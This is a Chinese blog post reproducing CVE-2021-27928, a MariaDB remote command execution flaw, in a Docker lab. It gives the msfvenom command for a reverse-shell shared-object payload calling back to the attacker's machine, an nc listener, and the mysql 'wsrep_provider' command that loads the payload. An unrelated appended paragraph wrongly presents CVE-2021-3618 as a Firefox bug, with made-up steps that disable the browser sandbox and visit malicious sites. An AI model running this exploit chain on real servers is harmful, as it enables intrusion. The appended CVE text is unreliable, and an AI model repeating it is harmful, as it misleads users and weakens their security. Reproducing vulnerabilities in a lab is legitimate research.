CVE-2021-27928漏洞复现

CVE-2021-27928漏洞复现

漏洞简介:它是一个MariaDB的远程命令执行漏洞,存在于10.2.37之前的10.2版本,10.3.28之前的10.3版本,10.4.18之前的10.4版本以及10.5.9之前的10.5版本。

复现环境

  • 攻击机:Ubuntu 20.04.2 LTS
  • 目标机:mariadb/server:10.3.13 docker容器

复现准备

  • 我们需要在我们的攻击机上安装 metasploit-framework 框架。安装步骤见Nightly Installers · rapid7/metasploit-framework Wiki (github.com)

  • 安装成功后,我们利用这样一条语句生成反向Shell有效负载。

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
    
  • 一定要注意的是,这里的ip是攻击机自己的ip,而不是目标机的ip。port这里随便取,我取了4444。正常的运行结果如下图。

    在这里插入图片描述

  • 现在攻击机的准备工作已经做完了。我们现在需要准备目标机的环境。由于现在大多的镜像源中apt里已经不支持旧版本的mariadb,而去官网手动安装二进制文件又十分复杂。我这里选用了mariadb/server:10.3.13的docker镜像,当然你也可以选择mariadb/server:10.2.22,只要保证该版本的mariadb收到该漏洞影响即可。这里挂一下它的dockerhub网址mariadb/server (docker.com)。大家可以自行选取。

  • 最后我的Dockerfile是这样的,把攻击载荷放到了docker容器中的/tmp文件夹

    FROM mariadb/server:10.3.13 
    LABEL Author="wuuconix <wuuconix@gmail.com>"
    LABEL Blog="https://blog.csdn.net/Cypher_X"
    
    COPY ./files /tmp/
    

    在这里插入图片描述

    那两个sh脚本是我用来快速构建和更新docker容器写的sh脚本。这样我们就不用每次输入一大串docker命令了,而只需要输入zsh build.sh,十分方便,这里放一下代码供大家参考。

    #build.sh
    docker build -t maria . && \
    docker run -d --name maria -e MARIADB_ROOT_PASSWORD=root  maria && \
    docker exec -it maria bash  
    
    # update.sh
    docker stop maria \
    && docker rm maria \
    && docker rmi maria \
    && zsh build.sh
    

    从build.sh的内容我们也可以看到maria/server 镜像的使用方法,需要加一个MARIADB_ROOT_PASSWORD的环境变量,来初始root用户的密码,我这里设置的密码是root。这些都可以在dockerhub上的overview中找到。

复现过程

  • 开启容器

    在这里插入图片描述

  • 主机开启监听

    nc -lvnp  4444
    
  • 主机执行有效shell

    mysql -u root -p -h 172.17.0.2 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
    

    注意这里的172.17.0.2是目标机也就是docker容器的ip。

    在这里插入图片描述

    输入后会报错,但是不要慌,我们的监听窗口这时应该已经连上了。

    在这里插入图片描述

    输入whoami来看看当前用户。

    在这里插入图片描述

    成功。

经验总结

  • 当输入apt-cache madison mariadb-server没有想要的版本时,可以去dockerhub查找软件历史版本的镜像。

参考链接

MariaDB数据库SUPER特权漏洞CVE-2021-27928-Linux实验室 (wanyunshuju.com)

NVD - CVE-2021-27928 (nist.gov)

CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞复现步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修复已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 现在,你可以尝试复现CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果复现成功,可能会出现安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出现异常行为,可能是因为已经修复了该漏洞或在你的环境中无法成功利用。 需要注意的是,复现CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施复现操作之前,请确认你已经了解并接受相关风险。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值